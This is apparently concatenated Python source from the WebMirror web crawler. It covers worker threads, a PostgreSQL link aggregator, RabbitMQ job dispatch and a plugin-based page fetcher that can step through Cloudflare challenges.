				# objgraph.show_growth(limit=3)
				hadjob = self.do_task()
			else:
				self.log.info("Thread %s exiting.", self.num)
				break
			loop += 1

			# If there was nothing to do, sleep 30 seconds and recheck.
			# This is because with 50 workers with a sleep-time of 5 seconds on job-miss,
			# it was causing 100% CPU usage on the DB just for the getjob queries. (I think)
			if not hadjob:
				sleeptime = 10
				self.log.info("Nothing for thread %s to do. Sleeping %s seconds.", self.num, sleeptime)
				for _x in range(sleeptime):
					time.sleep(1)
					if runStatus.run_state.value != 1:
						self.log.info("Thread %s saw exit flag while waiting for jobs. Runstate: %s", self.num, runStatus.run_state.value)
						return

		if runStatus.run_state.value:
			self.log.info("Thread %s restarting. Runstate: %s", self.num, runStatus.run_state.value)
		else:
			self.log.info("Thread %s halting. Runstate: %s", self.num, runStatus.run_state.value)




	@classmethod
	def run_prof(cls, num, response_queue, new_job_queue, cookie_lock, nosig=True):

		pid = os.getpid()
		try:
			cProfile.runctx('cls.run(num, response_queue, new_job_queue, cookie_lock, nosig)', globals(), locals(), 'prof%d.prof' % pid)
		except Exception as e:
			print("Wat?")
			print("Wat?")
			print("Wat?")
			print("Wat?")
			print("Wat?")
			print("Wat?")
			print("Wat?")
			traceback.print_exc()
			raise e

	@classmethod
	def run(cls, num, response_queue, new_job_queue, cookie_lock, nosig=True):
		logSetup.resetLoggingLocks()
		install_pystuck()

		try:
			run = cls(num, response_queue, new_job_queue, cookie_lock, nosig)
			# print("Class instantiated: ", run)
			run.go()
		except Exception:
			print()
			print("Exception in sub-process!")
			traceback.print_exc()

def initializeStartUrls(rules):
	print("Initializing all start URLs in the database")
	sess = db.get_db_session()
	for ruleset in [rset for rset in rules if rset['starturls']]:
		for starturl in ruleset['starturls']:
			have = sess.query(db.WebPages) \
				.filter(db.WebPages.url == starturl)   \
				.count()
			if not have:
				netloc = urlFuncs.getNetLoc(starturl)
				new = db.WebPages(
						url               = starturl,
						starturl          = starturl,
						netloc            = netloc,
						type              = ruleset['type'],
						priority          = db.DB_IDLE_PRIORITY,
						distance          = db.DB_DEFAULT_DIST,
						normal_fetch_mode = ruleset['normal_fetch_mode'],
					)
				print("Missing start-url for address: '{}'".format(starturl))
				sess.add(new)
			try:
				sess.commit()
			except sqlalchemy.SQLAlchemyError:
				print("Failure inserting start url for address: '{}'".format(starturl))

				sess.rollback()
	sess.close()
	db.delete_db_session()

def resetInProgress():
	print("Resetting any stalled downloads from the previous session.")

	sess = db.get_db_session()
	sess.query(db.WebPages) \
		.filter(
				(db.WebPages.state == "fetching")           |
				(db.WebPages.state == "processing")         |
				(db.WebPages.state == "specialty_deferred") |
				(db.WebPages.state == "specialty_ready")
				)   \
		.update({db.WebPages.state : "new"})
	sess.commit()
	sess.close()
	db.delete_db_session()

class UpdateAggregator(object):
	def __init__(self, msg_queue, db_interface):
		self.queue = msg_queue
		self.log = logging.getLogger("Main.Agg.Manager")

		amqp_settings = {
			"RABBIT_LOGIN"   : config.C_RABBIT_LOGIN,
			"RABBIT_PASWD"   : config.C_RABBIT_PASWD,
			"RABBIT_SRVER"   : config.C_RABBIT_SRVER,
			"RABBIT_VHOST"   : config.C_RABBIT_VHOST,
			'taskq_task'     : 'task.master.q',
			'taskq_response' : 'response.master.q',
		}

		if config.C_DO_RABBIT:
			self._amqpint = WebMirror.OutputFilters.AmqpInterface.RabbitQueueHandler(amqp_settings)

		self.seen = {}

		self.links = 0
		self.amqpUpdateCount = 0
		self.deathCounter = 0

		self.batched_links = []

		self.db_int = db_interface

	def do_amqp(self, pkt):
		self.amqpUpdateCount += 1

		if self.amqpUpdateCount % 50 == 0:
			self.log.info("Transmitted AMQP messages: %s", self.amqpUpdateCount)
		self._amqpint.put_item(pkt)


	def do_link_batch_update(self):
		if not self.batched_links:
			return
		self.log.info("Inserting %s items into DB in batch.", len(self.batched_links))


		raw_cur = self.db_int.connection().connection.cursor()

		#  Fucking huzzah for ON CONFLICT!
		cmd = """
				INSERT INTO
					web_pages
					(url, starturl, netloc, distance, is_text, priority, type, addtime, state)
				VALUES
					(%(url)s, %(starturl)s, %(netloc)s, %(distance)s, %(is_text)s, %(priority)s, %(type)s, %(addtime)s, %(state)s)
				ON CONFLICT (url) DO
					UPDATE
						SET
							state           = EXCLUDED.state,
							starturl        = EXCLUDED.starturl,
							netloc          = EXCLUDED.netloc,
							is_text         = EXCLUDED.is_text,
							distance        = LEAST(EXCLUDED.distance, web_pages.distance),
							priority        = GREATEST(EXCLUDED.priority, web_pages.priority),
							addtime         = LEAST(EXCLUDED.addtime, web_pages.addtime)
						WHERE
						(
								web_pages.ignoreuntiltime < %(ignoreuntiltime)s
							AND
								web_pages.url = EXCLUDED.url
							AND
								(web_pages.state = 'complete' OR web_pages.state = 'error')
						)
					;
				""".replace("	", " ").replace("\n", " ")

		# Only commit per-URL if we're tried to do the update in batch, and failed.
		commit_each = False
		while 1:
			try:
				for paramset in self.batched_links:

					if len(paramset['url']) > 2000:
						self.log.error("URL Is too long to insert into the database!")
						self.log.error("URL: '%s'", paramset['url'])

					else:
						# Forward-data the next walk, time, rather then using now-value for the thresh.
						raw_cur.execute(cmd, paramset)
						if commit_each:
							raw_cur.execute("COMMIT;")

				raw_cur.execute("COMMIT;")
				break

			except psycopg2.Error:
				if commit_each is False:
					self.log.warning("psycopg2.Error - Retrying with commit each.")
				else:
					self.log.warning("psycopg2.Error - Retrying.")
					traceback.print_exc()

				raw_cur.execute("ROLLBACK;")
				commit_each = True


		self.batched_links = []




		# while 1:
		# 	try:

		# 		cmd = text("""
		# 				INSERT INTO
		# 					web_pages
		# 					(url, starturl, netloc, distance, is_text, priority, type, addtime, state)
		# 				VALUES
		# 					(%(url)s, %(starturl)s, %(netloc)s, %(distance)s, %(is_text)s, %(priority)s, %(type)s, %(addtime)s, %(state)s)
		# 				ON CONFLICT (url) DO
		# 					UPDATE
		# 						SET
		# 							state           = EXCLUDED.state,
		# 							starturl        = EXCLUDED.starturl,
		# 							netloc          = EXCLUDED.netloc,
		# 							is_text         = EXCLUDED.is_text,
		# 							distance        = LEAST(EXCLUDED.distance, web_pages.distance),
		# 							priority        = GREATEST(EXCLUDED.priority, web_pages.priority),
		# 							addtime         = LEAST(EXCLUDED.addtime, web_pages.addtime)
		# 						WHERE
		# 						(
		# 								web_pages.ignoreuntiltime < %(ignoreuntiltime)s
		# 							AND
		# 								web_pages.url = EXCLUDED.url
		# 							AND
		# 								(web_pages.state = 'complete' OR web_pages.state = 'error')
		# 						)
		# 					;
		# 				""".replace("	", " ").replace("\n", " "))


		# 		# cmd = text("""
		# 		# 		INSERT INTO
		# 		# 			web_pages
		# 		# 			(url, starturl, netloc, distance, is_text, priority, type, fetchtime, state)
		# 		# 		VALUES
		# 		# 			(:url, :starturl, :netloc, :distance, :is_text, :priority, :type, :fetchtime, :state)
		# 		# 		ON CONFLICT DO NOTHING
		# 		# 		""")

		# 		for paramset in self.batched_links:
		# 			self.db_int.execute(cmd, params=paramset)
		# 		self.db_int.commit()
		# 		self.batched_links = []
		# 		break
		# 	except KeyboardInterrupt:
		# 		self.log.info("Keyboard Interrupt?")
		# 		self.db_int.rollback()
		# 	except sqlalchemy.exc.InternalError:
		# 		self.log.info("Transaction error. Retrying.")
		# 		traceback.print_exc()
		# 		self.db_int.rollback()
		# 	except sqlalchemy.exc.OperationalError:
		# 		self.log.info("Transaction error. Retrying.")
		# 		traceback.print_exc()
		# 		self.db_int.rollback()
		# self.db_int.close()


	def do_link(self, linkdict):

		assert 'url'             in linkdict
		assert 'starturl'        in linkdict
		assert 'netloc'          in linkdict
		assert 'distance'        in linkdict
		assert 'is_text'         in linkdict
		assert 'priority'        in linkdict
		assert 'type'            in linkdict
		assert 'state'           in linkdict
		assert 'addtime'         in linkdict
		assert 'ignoreuntiltime' in linkdict

		url = linkdict['url']

		if not url in self.seen:
			# Fucking huzzah for ON CONFLICT!
			self.batched_links.append(linkdict)
			self.seen[url] = time.time()

			if len(self.batched_links) > 100:
				self.do_link_batch_update()
		# 	print("Inserting", url, len(self.seen))
		# else:
		# 	print("Skipping", url)


		# The seen dict was eating all my free memory (I think).
		if len(self.seen) > 1000000:
			self.seen = {}

		# else:
		# 	print("Old item: %s", linkdict)

	def do_task(self):

		target, value = self.queue.get_nowait()

		if (self.links % 50) == 0:
			self.log.info("Aggregator active. Total cached URLs: %s, Items in processing queue: %s, transmitted release messages: %s.", len(self.seen), self.queue.qsize(), self.amqpUpdateCount)

		self.links += 1

		if target == "amqp_msg":
			if config.C_DO_RABBIT:
				self.do_amqp(value)
		elif target == "new_link":
			self.do_link(value)
		else:
			print("Todo", target, value)

	def run(self):

		while 1:
			try:
				self.do_task()
				self.deathCounter = 0
			except queue.Empty:
				if runStatus.agg_run_state.value == 1:
					# Fffffuuuuu time.sleep barfs on KeyboardInterrupt
					try:
						time.sleep(1)
						self.do_link_batch_update()
					except KeyboardInterrupt:
						pass
				else:
					self.do_link_batch_update()
					self.deathCounter += 1
					time.sleep(0.1)
					if self.deathCounter > 5:
						self.log.info("Aggregator thread exiting.")
						break
			except Exception:
				self.log.error("Exception in aggregator!")
				for line in traceback.format_exc().split("\n"):
					self.log.error(line.rstrip())

	def close(self):
		if config.C_DO_RABBIT:
			self.log.info("Aggregator thread closing interface.")
			self._amqpint.close()

	@classmethod
	def launch_agg(cls, agg_queue):
		install_pystuck()
		agg_db = db.get_db_session()
		instance = cls(agg_queue, agg_db)
		instance.run()
		instance.close()

class MultiJobManager(object):
	def __init__(self, max_tasks, target, target_args=None, target_kwargs=None):
		self.max_tasks     = max_tasks
		self.target        = target
		self.target_args   = target_args
		self.target_kwargs = target_kwargs

		self.procno        = 0

		self.log = logging.getLogger("Main.Job.Launcher")

		self.tasklist = []

	def check_run_jobs(self):

		living = sum([task.is_alive() for task in self.tasklist])
		for dummy_x in range(self.max_tasks - living):
			self.log.warning("Insufficent living child threads! Creating another thread with number %s", self.procno)
			with logSetup.stdout_lock:
				args = (self.procno, )
				if self.target_args:
					args += self.target_args
				proc = multiprocessing.Process(target=self.target, args=args, kwargs=self.target_kwargs)
				# proc = threading.Thread(target=self.target, args=(self.procno, ) + self.target_args, kwargs=self.target_kwargs)
				self.tasklist.append(proc)
				proc.start()
				self.procno += 1

		cleaned = 0
		for task in self.tasklist:
			if not task.is_alive():
				task.join()
				cleaned += 1

		if cleaned > 0:
			self.tasklist = [task for task in self.tasklist if task.is_alive()]
			self.log.warning("Run manager cleared out %s exited task instances.", cleaned)

		return len(self.tasklist)

	def join_jobs(self, flushqueues):

		self.log.info("Run manager waiting on tasks to exit. Runstate = %s", runStatus.run_state.value)
		while 1:
			living = sum([task.is_alive() for task in self.tasklist])
			for task in self.tasklist:
				task.join(3.0/(living+1))

			self.log.info("Living processes: '%s'", living)

			for job_queue in flushqueues:
					try:
						while 1:
							job_queue.get_nowait()
					except queue.Empty:
						pass

			if living == 0:
				break

class Crawler(object):
	def __init__(self, thread_count=NO_PROCESSES):

		self.process_lookup = {}

		self.log = logging.getLogger("Main.Text.Manager")
		WebMirror.rules.load_rules()


		self.log.info("Scraper executing with %s processes", thread_count)
		self.thread_count = thread_count

	def start_aggregator(self):
		agg_queue = multiprocessing.Queue()
		with logSetup.stdout_lock:
			self.agg_proc = multiprocessing.Process(target=UpdateAggregator.launch_agg, args=(agg_queue, ))
			self.agg_proc.start()
		return agg_queue

	def join_aggregator(self):

		self.log.info("Asking Aggregator process to stop.")
		runStatus.agg_run_state.value = 0
		self.agg_proc.join(0)
		self.log.info("Aggregator joined.")

	def start_job_fetcher(self):
		self.job_agg = njq.JobAggregator()


		return self.job_agg.get_queues()

	def join_job_fetcher(self):
		self.log.info("Asking Job source task to halt.")

		self.job_agg.join_proc()
		self.log.info("Job source halted.")

	def launchProcessesFromQueue(self, processes, job_in_queue):
		pass


	def run(self):

		cnt = 10

		new_url_aggreator_queue = self.start_aggregator()

		new_job_queue = self.start_job_fetcher()

		assert self.thread_count >= 1

		# cls, num, response_queue, new_job_queue, cookie_lock
		kwargs = {
			'response_queue' : new_url_aggreator_queue,
			'new_job_queue'  : new_job_queue,
			'cookie_lock'    : COOKIE_LOCK,
			}
		mainManager    = MultiJobManager(max_tasks=self.thread_count, target=RunInstance.run, target_kwargs=kwargs)

		managers = [mainManager]


		try:
			while runStatus.run_state.value:
				time.sleep(1)

				cnt += 1
				if cnt >= 10:
					cnt = 0

					living = sum([manager.check_run_jobs() for manager in managers])

					clok_locked = COOKIE_LOCK.acquire(block=False)
					if clok_locked:
						COOKIE_LOCK.release()

					self.log.info("Living processes: %s (Cookie lock acquired: %s, items in job queue: %s, exiting: %s)",
						living, not clok_locked, new_job_queue.qsize(), runStatus.run_state.value == 0)


		except KeyboardInterrupt:

			# Stop the job fetcher, and then let the active jobs
			# flush down.
			self.join_job_fetcher()

			runStatus.run_state.value = 0

			self.log.info("Crawler allowing ctrl+c to propagate.")
			time.sleep(1)
			runStatus.run_state.value = 0
			time.sleep(1)

			flushqueues = [new_job_queue, new_url_aggreator_queue]


			for manager in managers:
				manager.join_jobs(flushqueues)

			self.log.info("All processes halted.")

		self.log.info("Flusing queues")

		for job_queue in [new_job_queue, new_url_aggreator_queue]:
			try:
				while 1:
					job_queue.get_nowait()
			except queue.Empty:
				pass

		self.join_aggregator()



if __name__ == "__main__":
	runner = Crawler()
	runner.run()
	print(runner)







import sys
import multiprocessing
import threading
import time
import traceback
import queue
import random
import datetime
import signal

# import sqlalchemy.exc
# from sqlalchemy.sql import text

import psycopg2
import sys

import settings
# import WebMirror.database as db
import WebMirror.LogBase as LogBase
import WebMirror.OutputFilters.AmqpInterface
import runStatus

########################################################################################################################
#
#	##     ##    ###    #### ##    ##     ######  ##          ###     ######   ######
#	###   ###   ## ##    ##  ###   ##    ##    ## ##         ## ##   ##    ## ##    ##
#	#### ####  ##   ##   ##  ####  ##    ##       ##        ##   ##  ##       ##
#	## ### ## ##     ##  ##  ## ## ##    ##       ##       ##     ##  ######   ######
#	##     ## #########  ##  ##  ####    ##       ##       #########       ##       ##
#	##     ## ##     ##  ##  ##   ###    ##    ## ##       ##     ## ##    ## ##    ##
#	##     ## ##     ## #### ##    ##     ######  ######## ##     ##  ######   ######
#
########################################################################################################################



NO_JOB_TIMEOUT_MINUTES = 5


largv = [tmp.lower() for tmp in sys.argv]
if "twoprocess" in largv or "oneprocess" in largv:
	MAX_IN_FLIGHT_JOBS = 10
else:
	# MAX_IN_FLIGHT_JOBS = 75
	# MAX_IN_FLIGHT_JOBS = 250
	MAX_IN_FLIGHT_JOBS = 500
	# MAX_IN_FLIGHT_JOBS = 1000
	# MAX_IN_FLIGHT_JOBS = 3000

def buildjob(
			module,
			call,
			dispatchKey,
			jobid,
			args           = [],
			kwargs         = {},
			additionalData = None,
			postDelay      = 0
		):

	job = {
			'call'         : call,
			'module'       : module,
			'args'         : args,
			'kwargs'       : kwargs,
			'extradat'     : additionalData,
			'jobid'        : jobid,
			'dispatch_key' : dispatchKey,
			'postDelay'    : postDelay,
		}
	return job



class JobAggregator(LogBase.LoggerMixin):

	loggerPath = "Main.JobAggregator"

	def __init__(self):
		# print("Job __init__()")
		super().__init__()

		self.last_rx = datetime.datetime.now()
		self.active_jobs = 0
		self.jobs_out = 0
		self.jobs_in = 0


		self.db_interface = psycopg2.connect(
				database = settings.DATABASE_DB_NAME,
				user     = settings.DATABASE_USER,
				password = settings.DATABASE_PASS,
				host     = settings.DATABASE_IP,
			)

		# This queue has to be a multiprocessing queue, because it's shared across multiple processes.
		self.normal_out_queue  = multiprocessing.Queue()

		self.j_fetch_proc = threading.Thread(target=self.queue_filler_proc)
		self.j_fetch_proc.start()

		self.print_mod = 0

	def get_queues(self):
		return self.normal_out_queue

	def join_proc(self):
		runStatus.job_run_state.value = 0
		self.j_fetch_proc.join(0)

	def put_outbound_job(self, jobid, joburl):
		self.active_jobs += 1
		self.log.info("Dispatching new job (active jobs: %s)", self.active_jobs)
		self.jobs_out += 1
		raw_job = buildjob(
			module         = 'WebRequest',
			call           = 'getItem',
			dispatchKey    = "fetcher",
			jobid          = jobid,
			args           = [joburl],
			kwargs         = {},
			additionalData = {'mode' : 'fetch'},
			postDelay      = 0
		)
		self.amqp_int.put_job(raw_job)
		# print("Raw job:", raw_job)
		# print("Jobid, joburl: ", (jobid, joburl))

	def fill_jobs(self):
		if 'drain' in sys.argv:
			return

		while self.active_jobs < MAX_IN_FLIGHT_JOBS and self.normal_out_queue.qsize() < MAX_IN_FLIGHT_JOBS:
			old = self.active_jobs
			self._get_task_internal()
			self.log.info("Need to add jobs to the job queue (%s active, %s added)!", self.active_jobs, self.active_jobs-old)

			# We have to handle job responses here too, or the response queue can bloat horribly
			# while we're waiting for the output job queue to fill.
			self.process_responses()
			if runStatus.run_state.value != 1:
				return

		# If we haven't had a received job in 10 minutes, reset the job counter because we might
		# have leaked the jobs away somehow.
		if (self.last_rx + datetime.timedelta(minutes=NO_JOB_TIMEOUT_MINUTES)) < datetime.datetime.now():
			if self.normal_out_queue.qsize() > MAX_IN_FLIGHT_JOBS:
				self.log.warn("Long latency since last received job, but received job queue contains lots of jobs. Huh? (Jobqueue size: %s)", self.normal_out_queue.qsize())
			else:
				self.log.error("Timeout since last job seen. Resetting active job counter. (lastJob: %s)", self.last_rx + datetime.timedelta(minutes=NO_JOB_TIMEOUT_MINUTES))
				self.active_jobs = 0
				self.last_rx = datetime.datetime.now()

	def process_responses(self):
		while 1:
			tmp = self.amqp_int.get_job()
			if tmp:
				self.active_jobs -= 1
				self.jobs_in += 1
				if self.active_jobs < 0:
					self.active_jobs = 0
				self.log.info("Job response received. Jobs in-flight: %s (qsize: %s)", self.active_jobs, self.normal_out_queue.qsize())
				self.last_rx = datetime.datetime.now()
				self.normal_out_queue.put(tmp)
			else:
				self.print_mod += 1
				if self.print_mod > 20:
					self.log.info("No job responses available.")
					self.print_mod = 0
				break

	def queue_filler_proc(self):

		amqp_settings = {
			'RABBIT_LOGIN'    : settings.RPC_RABBIT_LOGIN,
			'RABBIT_PASWD'    : settings.RPC_RABBIT_PASWD,
			'RABBIT_SRVER'    : settings.RPC_RABBIT_SRVER,
			'RABBIT_VHOST'    : settings.RPC_RABBIT_VHOST,
			'master'          : True,
			'prefetch'        : 250,
			# 'prefetch'        : 50,
			# 'prefetch'        : 5,
			'queue_mode'      : 'direct',
			'taskq_task'      : 'task.q',
			'taskq_response'  : 'response.q',

			"poll_rate"       : 1/100,

		}


		self.amqp_int = WebMirror.OutputFilters.AmqpInterface.RabbitQueueHandler(amqp_settings)

		try:
			signal.signal(signal.SIGINT, signal.SIG_IGN)
		except ValueError:
			self.log.warning("Cannot configure job fetcher task to ignore SIGINT. May be an issue.")

		self.log.info("Job queue fetcher starting.")


		msg_loop = 0
		while runStatus.job_run_state.value == 1:
			self.fill_jobs()
			self.process_responses()

			msg_loop += 1
			time.sleep(1)
			if msg_loop > 20:
				self.log.info("Job queue filler process. Current job queue size: %s (out: %s, in: %s). Runstate: %s", self.active_jobs, self.jobs_out, self.jobs_in, runStatus.job_run_state.value==1)
				msg_loop = 0

		self.log.info("Job queue fetcher saw exit flag. Halting.")
		self.amqp_int.close()

		# Consume the remaining items in the output queue so it shuts down cleanly.
		try:
			while 1:
				self.normal_out_queue.get_nowait()
		except queue.Empty:
			pass

		self.log.info("Job queue filler process. Current job queue size: %s. Runstate: %s", self.active_jobs, runStatus.job_run_state.value==1)

		self.log.info("Job queue fetcher halted.")


	def _get_task_internal(self):

		cursor = self.db_interface.cursor()
		# Hand-tuned query, I couldn't figure out how to
		# get sqlalchemy to emit /exactly/ what I wanted.
		# TINY changes will break the query optimizer, and
		# the 10 ms query will suddenly take 10 seconds!
		raw_query = '''
				UPDATE
				    web_pages
				SET
				    state = 'fetching'
				WHERE
				    web_pages.id IN (
				        SELECT
				            web_pages.id
				        FROM
				            web_pages
				        WHERE
				            web_pages.state = 'new'
				        AND
				            normal_fetch_mode = true
				        AND
				            web_pages.priority = (
				               SELECT
				                    min(priority)
				                FROM
				                    web_pages
				                WHERE
				                    state = 'new'::dlstate_enum
				                AND
				                    distance < 1000000
				                AND
				                    normal_fetch_mode = true
				                AND
				                    web_pages.ignoreuntiltime < now() + '5 minutes'::interval
				            )
				        AND
				            web_pages.distance < 1000000
				        AND
				            web_pages.ignoreuntiltime < now() + '5 minutes'::interval
				        LIMIT {in_flight}
				    )
				AND
				    web_pages.state = 'new'
				RETURNING
				    web_pages.id, web_pages.netloc, web_pages.url;
			'''.format(in_flight=min((MAX_IN_FLIGHT_JOBS, 50)))


		start = time.time()

		while runStatus.run_state.value == 1:
			try:
				cursor.execute(raw_query)
				rids = cursor.fetchall()
				self.db_interface.commit()
				break
			except psycopg2.Error:
				delay = random.random() / 3
				# traceback.print_exc()
				self.log.warn("Error getting job (psycopg2.Error)! Delaying %s.", delay)
				time.sleep(delay)
				self.db_interface.rollback()

		if runStatus.run_state.value != 1:
			return

		if not rids:
			return

		rids = list(rids)
		# If we broke because a user-interrupt, we may not have a
		# valid rids at this point.
		if runStatus.run_state.value != 1:
			return False

		xqtim = time.time() - start

		if len(rids) == 0:
			self.log.warning("No jobs available! Sleeping for 5 seconds waiting for new jobs to become available!")
			for dummy_x in range(5):
				if runStatus.run_state.value == 1:
					time.sleep(1)
			return

		if xqtim > 0.5:
			self.log.error("Query execution time: %s ms. Fetched job IDs = %s", xqtim * 1000, len(rids))
		elif xqtim > 0.1:
			self.log.warn("Query execution time: %s ms. Fetched job IDs = %s", xqtim * 1000, len(rids))
		else:
			self.log.info("Query execution time: %s ms. Fetched job IDs = %s", xqtim * 1000, len(rids))
		deleted = 0
		for rid, netloc, joburl in rids:
			self.put_outbound_job(rid, joburl)

		cursor.close()


def test2():
	import logSetup
	import pprint
	logSetup.initLogging()

	agg = JobAggregator()
	outq = agg.get_queues()
	for x in range(20):
		print("Sleeping, ", x)
		time.sleep(1)
		try:
			j = outq.get_nowait()
			print("Received job! %s", len(j))
			with open("jobs.txt", "a") as fp:
				fp.write("\n\n\n")
				fp.write(pprint.pformat(j))
			print(j)
		except queue.Empty:
			pass
	print("Joining on the aggregator")
	agg.join_proc()
	print("Joined.")

if __name__ == "__main__":
	test2()
















if __name__ == "__main__":
	import logSetup
	logSetup.initLogging()

import WebMirror.rules
import WebMirror.LogBase as LogBase

import datetime

import WebMirror.util.urlFuncs as url_util
import urllib.parse
import WebMirror.util.webFunctions as webFunctions
import bs4

import WebMirror.processor.ProcessorBase

from activePlugins import PREPROCESSORS
from activePlugins import PLUGINS
from activePlugins import FILTERS

from WebMirror.Exceptions import DownloadException

########################################################################################################################
#
#	##     ##    ###    #### ##    ##     ######  ##          ###     ######   ######
#	###   ###   ## ##    ##  ###   ##    ##    ## ##         ## ##   ##    ## ##    ##
#	#### ####  ##   ##   ##  ####  ##    ##       ##        ##   ##  ##       ##
#	## ### ## ##     ##  ##  ## ## ##    ##       ##       ##     ##  ######   ######
#	##     ## #########  ##  ##  ####    ##       ##       #########       ##       ##
#	##     ## ##     ##  ##  ##   ###    ##    ## ##       ##     ## ##    ## ##    ##
#	##     ## ##     ## #### ##    ##     ######  ######## ##     ##  ######   ######
#
########################################################################################################################

class ItemFetcher(LogBase.LoggerMixin):


	loggerPath = "Main.SiteArchiver"



	# Fetch items up to 1,000,000 (1 million) links away from the root source
	# This (functionally) equates to no limit.
	# The db defaults to  (e.g. max signed integer value) anyways
	FETCH_DISTANCE = 1000 * 1000

	def __init__(self, rules, target_url, db_sess, start_url, job, cookie_lock=None, wg_handle=None, response_queue=None):
		# print("Fetcher init()")
		super().__init__()

		self.response_queue = response_queue
		self.job            = job
		self.db_sess        = db_sess

		if wg_handle:
			self.wg = wg_handle
		elif cookie_lock:
			self.wg = webFunctions.WebGetRobust(cookie_lock=cookie_lock)
		else:
			self.wg = webFunctions.WebGetRobust()

		# Validate the plugins implement the proper interface
		for item in PLUGINS:
			assert issubclass(item, WebMirror.processor.ProcessorBase.PageProcessor), "Item '%s' does not inherit from '%s'" % (item, WebMirror.processor.ProcessorBase.PageProcessor)


		self.plugin_modules = {}
		for item in PLUGINS:
			key = item.want_priority
			if key in self.plugin_modules:
				self.plugin_modules[key].append(item)
			else:
				self.plugin_modules[key] = [item]


		self.filter_modules = []
		for item in FILTERS:
			self.filter_modules.append(item)


		self.preprocessor_modules = []
		for item in PREPROCESSORS:
			self.preprocessor_modules.append(item)

		baseRules = [ruleset for ruleset in rules if ruleset['netlocs'] == None].pop(0)

		rules = [ruleset for ruleset in rules if ruleset['netlocs'] != None]
		rules.sort(key=lambda x:x['netlocs'])

		self.ruleset = rules

		self.relinkable = set()
		for item in self.ruleset:
			[self.relinkable.add(url) for url in item['fileDomains']]         #pylint: disable=W0106
			[self.relinkable.add(url) for url in item['netlocs']]             #pylint: disable=W0106


		netloc = urllib.parse.urlsplit(target_url).netloc

		self.rules = None
		for ruleset in self.ruleset:
			if netloc in ruleset['netlocs']:
				# self.log.info("Found specific ruleset!")
				self.rules = ruleset

		if not self.rules:
			self.log.warn("Using base ruleset for URL: '%s'!", target_url)
			self.rules = baseRules


		assert self.rules

		self.target_url = target_url
		self.start_url = start_url

	########################################################################################################################



	########################################################################################################################
	#
	#	########  ####  ######  ########     ###    ########  ######  ##     ##      ##     ## ######## ######## ##     ##  #######  ########   ######
	#	##     ##  ##  ##    ## ##     ##   ## ##      ##    ##    ## ##     ##      ###   ### ##          ##    ##     ## ##     ## ##     ## ##    ##
	#	##     ##  ##  ##       ##     ##  ##   ##     ##    ##       ##     ##      #### #### ##          ##    ##     ## ##     ## ##     ## ##
	#	##     ##  ##   ######  ########  ##     ##    ##    ##       #########      ## ### ## ######      ##    ######### ##     ## ##     ##  ######
	#	##     ##  ##        ## ##        #########    ##    ##       ##     ##      ##     ## ##          ##    ##     ## ##     ## ##     ##       ##
	#	##     ##  ##  ##    ## ##        ##     ##    ##    ##    ## ##     ##      ##     ## ##          ##    ##     ## ##     ## ##     ## ##    ##
	#	########  ####  ######  ##        ##     ##    ##     ######  ##     ##      ##     ## ########    ##    ##     ##  #######  ########   ######
	#
	########################################################################################################################



	def getEmptyRet(self):
		return {
			'plainLinks' : [],
			'rsrcLinks'  : [],

			'title'      : "Error: Unknown dispatch type",
			'contents'   : "Error. Could not dispatch properly",
			'mimeType'   : "text/html",
			}



	def plugin_dispatch(self, plugin, url, content, fName, mimeType, no_ret=False):
		self.log.info("Dispatching file '%s' with mime-type '%s'", fName, mimeType)
		assert isinstance(content, (str, bytes)) , "Content must be a string/bytes. It's currently type: '%s'" % type(content)


		params = {
									'pageUrl'         : url,
									'pgContent'       : content,
									'mimeType'        : mimeType,
									'db_sess'         : self.db_sess,
									'baseUrls'        : self.start_url,
									'loggerPath'      : self.loggerPath,
									'badwords'        : self.rules['badwords'],
									'decompose'       : self.rules['decompose'],
									'decomposeBefore' : self.rules['decomposeBefore'],
									'fileDomains'     : self.rules['fileDomains'],
									'allImages'       : self.rules['allImages'],
									'ignoreBadLinks'  : self.rules['IGNORE_MALFORMED_URLS'],
									'stripTitle'      : self.rules['stripTitle'],
									'relinkable'      : self.relinkable,
									'destyle'         : self.rules['destyle'],
									'preserveAttrs'   : self.rules['preserveAttrs'],
									'type'            : self.rules['type'],
									'message_q'       : self.response_queue,
									'job'             : self.job,
									'wg'              : self.wg,
		}

		ret = plugin.process(params)

		if no_ret:
			return

		assert ret != None, "Return from %s was None!" % plugin
		assert "mimeType" in ret or "file" in ret, "Neither mimetype or file in ret for url '%s', plugin '%s'" % (url, plugin)

		return ret





	def getItem(self, itemUrl):

		try:
			content, handle = self.wg.getpage(itemUrl, returnMultiple=True)
		except:
			print("Failure?")
			if self.rules['cloudflare']:
				if not self.wg.stepThroughCloudFlare(itemUrl, titleNotContains='Just a moment...'):
					raise ValueError("Could not step through cloudflare!")
				# Cloudflare cookie set, retrieve again
				content, handle = self.wg.getpage(itemUrl, returnMultiple=True)
			else:
				raise



		if not content or not handle:
			raise DownloadException("Failed to retreive file from page '%s'!" % itemUrl)

		fileN = urllib.parse.unquote(urllib.parse.urlparse(handle.geturl())[2].split("/")[-1])
		fileN = bs4.UnicodeDammit(fileN).unicode_markup
		mType = handle.info()['Content-Type']

		# If there is an encoding in the content-type (or any other info), strip it out.
		# We don't care about the encoding, since WebFunctions will already have handled that,
		# and returned a decoded unicode object.
		if mType and ";" in mType:
			mType = mType.split(";")[0].strip()

		# *sigh*. So minus.com is fucking up their http headers, and apparently urlencoding the
		# mime type, because apparently they're shit at things.
		# Anyways, fix that.
		if '%2F' in  mType:
			mType = mType.replace('%2F', '/')

		self.log.info("Retreived file of type '%s', name of '%s' with a size of %0.3f K", mType, fileN, len(content)/1000.0)
		return content, fileN, mType



	def dispatchContent(self, content, fName, mimeType):
		assert bool(content) == True

		# Do preprocessing:
		preprocess_counts = 0
		for filter_plg in self.preprocessor_modules:
			if filter_plg.wantsUrl(self.target_url):
				content = filter_plg.preprocess(self.target_url, mimeType, content, self.wg)
				preprocess_counts += 1

		if preprocess_counts > 1:
			raise ValueError("Multiple preprocess executions for the same content (%s, %s, %s). Wat?" % (self.target_url, self.fName, self.mimeType))

		# Feed content through filters that want it (if any):
		for filter_plg in self.filter_modules:
			if (mimeType.lower() in filter_plg.wanted_mimetypes or filter_plg.mimetype_catchall) and \
					filter_plg.wantsUrl(self.target_url)       and \
					filter_plg.wantsFromContent(content):
				self.plugin_dispatch(filter_plg, self.target_url, content, fName, mimeType, no_ret=True)


		# Then actually process it.
		keys = list(self.plugin_modules.keys())
		keys.sort(reverse=True)

		for key in keys:
			for plugin in self.plugin_modules[key]:
				if mimeType.lower() in plugin.wanted_mimetypes and \
						plugin.wantsUrl(self.target_url)       and \
						plugin.wantsFromContent(content):
					# print("plugin", plugin, "wants", self.target_url)
